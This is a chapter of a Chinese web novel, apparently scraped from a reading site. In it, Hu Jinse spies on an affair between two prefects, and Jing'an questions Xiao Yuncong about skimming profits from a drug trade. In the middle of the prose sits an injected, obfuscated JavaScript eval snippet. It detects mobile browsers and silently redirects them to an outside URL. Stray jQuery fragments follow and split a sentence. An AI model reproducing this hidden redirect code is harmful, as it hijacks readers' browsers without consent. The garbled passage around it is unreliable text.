默认冷灰
24号文字
方正启体

77. 末卷6

作者:石旦本书字数:K更新时间:
    下雪之后,草地便不方便隐藏了


    胡锦瑟手脚并用,上树蹲点。


    傅府是她最后能拿到的线索,静安交代的事情,到现在都没给眉目。


    俗话说吃人嘴软,静安回来的这些日子,锦瑟一直绕道走,生怕她问自己什么。


    但事实上,静安深知凭借锦瑟一人,根本无法打听出凉州知府的什么秘辛来。


    静安懒得同这时局掰扯,吴州与凉州,她都是想直接强攻的。


    若是再像此前这般徐徐图之,不仅看运气,更消耗将士们的耐心。


    可胡锦瑟对于静安的想法并不知情,她还在坚持,看看能不能从卸任的凉州知府身上,找出些蛛丝马迹来。


    凉州与吴州相邻,傅大人卸任后便在两地交界处购置了房产,此处虽偏僻,但也不能算荒芜。


    很可惜,自从上次那阵奇异的铃声后,已过去很长时间了,傅府再无异常。


    锦瑟斜靠在门前的女贞树上,这树有些年岁了,异常粗壮,相较寻常树来,大了好多圈,树冠散开,像绣球一样将里面的人包裹起来。


    由于此树冬日不落叶,莹白的雪籽和绿叶交织在一起,模糊了外界的视线,锦瑟特意换了身白衣,将自己隐藏其中。


    冬日的夜晚来得格外早,加上浓密的树叶遮挡了视线,锦瑟被枝叶包裹着,昏昏欲睡。


    叮铃铃,一阵低沉的铃声响起,回荡在傅老师门前。


    锦瑟一个激灵,瘫在树枝上的身子摇晃了一下,女贞树轻轻晃动,落下几团雪块。


    锦瑟顺着树缝向外看,只见傅府门前的小路尽头,出现一辆朴素的马车。


    铃声断断续续从马车里传来,像苦情树下的低语。


    锦瑟弓起身子,从缝隙中窥视。


    傅家大门缓缓打开,和上次的小缝不同,此次单开一面,迎客意图明显。


    一个男子下了马车,迈着从容的步子向傅家大门走去。


    那人戴着兜帽,看不清神色,只留给锦瑟一个侧脸。


    看样子,应当是上了年纪的。


    天色渐晚,此时的傅家静悄悄的。


    傅夫人每月初一都会带着孩子去庙里祈福,下人们也不知被吓退到了何处。


    只剩那人靴子踩在雪地上的声音,沉闷而有力。


    上一次听到这个铃铛声,好像也是在月初。


    锦瑟有些失神,月初,傅家女眷都不在……


    那人熟练地穿过大门,随手将木门关上,穿过影壁墙,来到院中。


    锦瑟伸头去看,只见傅大人站在院中,风吹动他的衣袍,勾勒出清瘦的身形。


    似乎,已经等了很久了。


    “阿秩。”来人上前,拉住傅大人的手臂,往自己怀中带。


    傅秩将往外推让,清洌的脸上,浮现一丝极为委屈的神色。


    “何事?”


    那人似很伤心,但又像是在隐忍:“不是说好了,每月初一……”


    “有什么所谓呢?知府大人?”傅秩挣脱他的手,苦笑出声,将脸背了过去。


    距离太远,锦瑟听不到二人谈话,她伸长脖子,竖起耳朵,声音仍旧模糊。


    锦瑟呲牙,她琢磨着干脆从树上跳下去,趴到墙角听。


    还没等她调整好姿势,院中的二人似乎是吵架了。


    傅秩将人往外推,那人不愿离开,将整个身子往回靠,半推半就间,来人的兜帽掉落,额前的碎发掩盖住皱纹,为本就沧桑的脸上染上一丝忧郁。


    锦瑟瞪大眼睛,这,这不是?


    凉州新知府?赵津泽?


    锦瑟愣在树上,一时动弹不得,前凉州知府,和现凉州知府,拉拉扯扯?


    愣神间,傅秩垂下头,将其靠在赵津泽肩上,两人站在院中,风挤入二人之间,衣着单薄的傅秩打了个寒战。


    赵津泽急忙将人搂入怀中,扯了外套给傅秩披上,心疼之色溢出,扶着他进了卧室。


    锦瑟蹲在树杈上,下意识地吞了吞口水,双唇微涨,一脸迷茫。


    我的个亲娘嘞!


    胡锦瑟不记得自己是如何从树上窜出来的,她以一种极其亢奋的状态,跑回沈珏在郊区购置的院子。


    天色已彻底暗淡了下去,窗前点着灯,温暖的烛光映在静安脸庞,衬得她轮廓柔和。


    这岁月静好的局面很快被锦瑟打破了,她风风火火地从前院奔来,经过一路的奔波,衣袖的残雪早已花了大半,渗进外衣,形成不规则的水渍。


    “静安!”


    胡锦瑟扯着嗓门,静安迷茫抬头,只见一个蓬头垢面的胡大当家呲着大牙,一脸八卦地站在自己面前。


    静安急忙拿汤婆子来,伸手想将她湿漉漉的外衣脱掉。


    “不用不用。”胡锦瑟赶忙摆手,拉住静安的胳膊,“快快快,我跟你说……”


    静安瞧见她一脸八卦,好奇心了上风,她将火炉往胡锦瑟身侧推了推:“怎么了?”


    “有断袖,有断袖!”


    “啊?”


    胡锦瑟绘声绘色,将自己在傅府大门看到的所有经历,仔细地描绘了一遍。


    “那姓赵的心疼死了,直接把自己外套一扯,给傅秩披上了。”胡锦瑟一边讲,还一边为静安演示。


    静安看着自己手中刚刚接过的,锦瑟脱下的外套,揉了揉因为低头太久而酸涩的脖子:“万一?人家只是好朋友呢?”


    锦瑟也意识到这些还不够,忽然,她看到了一直在角落守着静安的沈珏,心一横,指着沈珏道:“就这样,那姓赵的眼神就跟沈公子看你一样。”


    突然被拉入战况的沈珏有些懵,他指了指自己,又看看静安,似乎意识到什么,唰的一下,红了脸。


    “真的,哎哟,姑奶奶我身经百战,两人有什么小九九,我一眼就看出来了。”


    静安哭笑不得,拉着她点头,算是肯定了这份八卦。


    “你意思是?”


    “天大的把柄啊,傅秩和赵津泽都是有家世的人,甚至从每月偷偷从凉州到吴州来和他私会。这要是逮住了,别说两地的军事布防,不是要什么有什么吗?”


    静安陷入沉思,她不想赌,锦瑟说得固然有道理。


    “可是,我们没有证据……”


    胡锦瑟突然站起,眼神坚定地望向远方:“我去找,我来找,肯定能逮住的。”


    她好似打了鸡血一般,眼神中满是对八卦的向往,丝毫没有痛苦的神色。


    静安欲言又止,见实在拦不住,索性随她去了。


    左右不过是往来书信,或是什么定情信物。傅秩与春风不同,春风的处境决定了她此生只能为赵家死,而傅秩与赵津泽,便是脸面问题了。


    “莫要冲动,有事随时放信号弹。”


    静安望着蹦蹦跳跳离开的锦瑟,不由得叹了口气。


    年后的氛围还未褪去,吴州的夜晚灯火万千,雪堆在烛光的映照下染上一层朱砂色。


    静安咬唇望着赵府的方向,赵瑾闭门不出已有四日,她愈发觉得狐疑。


    年关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580366|182973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚过,商行想必有一大堆事情要处理,哪怕是半只脚入地狱,静安都不信赵瑾会休养这么久。


    赵瑾在吴州负责原料生产和辽国贸易,小夕在庄子并未发现异常,锦瑟盯着赵家商行,也没有为自己带来消息,那么只有一条。


    辽国出事了。


    静安只觉得心头乱麻一片。


    “来人,请萧公子一叙。”


    萧云从被邀请时,还在埋头盘算军费开支,静安的邀请刚到,萧云从从书堆中抬头,怎的刚从京城回来,便要找自己?


    所幸萧云从没磨叽,简单收拾了下便出发了。


    萧云从的脚步刚踏入前厅,便察觉出氛围有些压抑。


    大跨步的脚瞬间收住,萧云从小心地往前试探:“这?出什么事情了吗?”


    静安坐在主位上,一只手半搭在靠椅上,一只手停在额头,见萧云冲上前,微微抬头看向他。


    “萧家动流金丸了?”静安说得肯定,仿佛不是询问,只是等待萧云从一个回答。


    “什,什么?”萧云从双眼飘忽,不敢往前看,只是顾左右而言他,“表妹这话是何意?”


    到底是久经商场,萧云从的回答还算得体,但牵强的嘴角和不自然的神态还是让静安发现了异常。


    静安起身,一步一步朝萧云从走去:“我希望你明白,当下,大家是同一条船上的人。”


    “三方势力成功的关键,在于无人知晓我们的合作。”


    “可萧家沈家以及大顺的关系一旦被察觉,颠覆的不只是大顺军。”


    “眼下赵家出了变故,极大可能是去了辽国。”


    “我希望,萧公子以大局为重。”


    萧云从被静安一番话说得心虚,只得抬手拂去脸侧的碎发,用行动掩盖尴尬。


    可静安没打算放过他,静安站在萧云从身前,平静地注视着他,好似一汪深潭。


    “我……”


    自从上次一同拜见知府后,萧云从莫名对静安有些羞愧。


    他转身,似乎想避开静安探寻的目光,但人站在大厅中央,哪里都是避无可避,便将话摊开了。


    “姐姐前些日子查到,国师便是流金丸在辽国的代理,本身萧家在国师府有些人脉,便做了手脚,从中捞了些油水。”


    萧云从边说边回避静安的目光,他双唇微微扣,似乎是在犹豫。


    静安懒得关心他的心理健康,听到只是捞了些油水,顿时松了口气。


    “只是捞了些油水吗?”


    萧云从连连摆手:“真的只有油水,每次只是商队运输时,偷偷打劫一些,或者做些账面,划走些银钱……”


    静安看着萧云从,颇有恨铁不成钢的架势。


    “萧家还缺哪些钱?即使是为了军费,善堂也能给你们分红。”


    “辽国境内,因着流金丸家破人亡的例子不在少数……”


    萧云从沉默片刻,似乎是不知如何开口:“萧家军队中的有些少年,都是家中人吸食流金丸,贱卖到黑市的可怜孩子,有些姑娘甚至会被卖给富商当小老婆。”


    “姐姐暗地里大量购买黑市人口,钱财自是紧缺。”


    “况且,有些无法上战场的老弱妇孺,姐姐也要好生安置,都是需要……”


    萧云从似乎察觉自己说多了,停住了话头,但静安还是从他的只言片语中抓住了重点。


    原来萧家短期集结的大量兵力,竟然有从黑市收拢来的奴隶。


    如此胆大冒险,看来萧家当真是被逼到绝路了
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)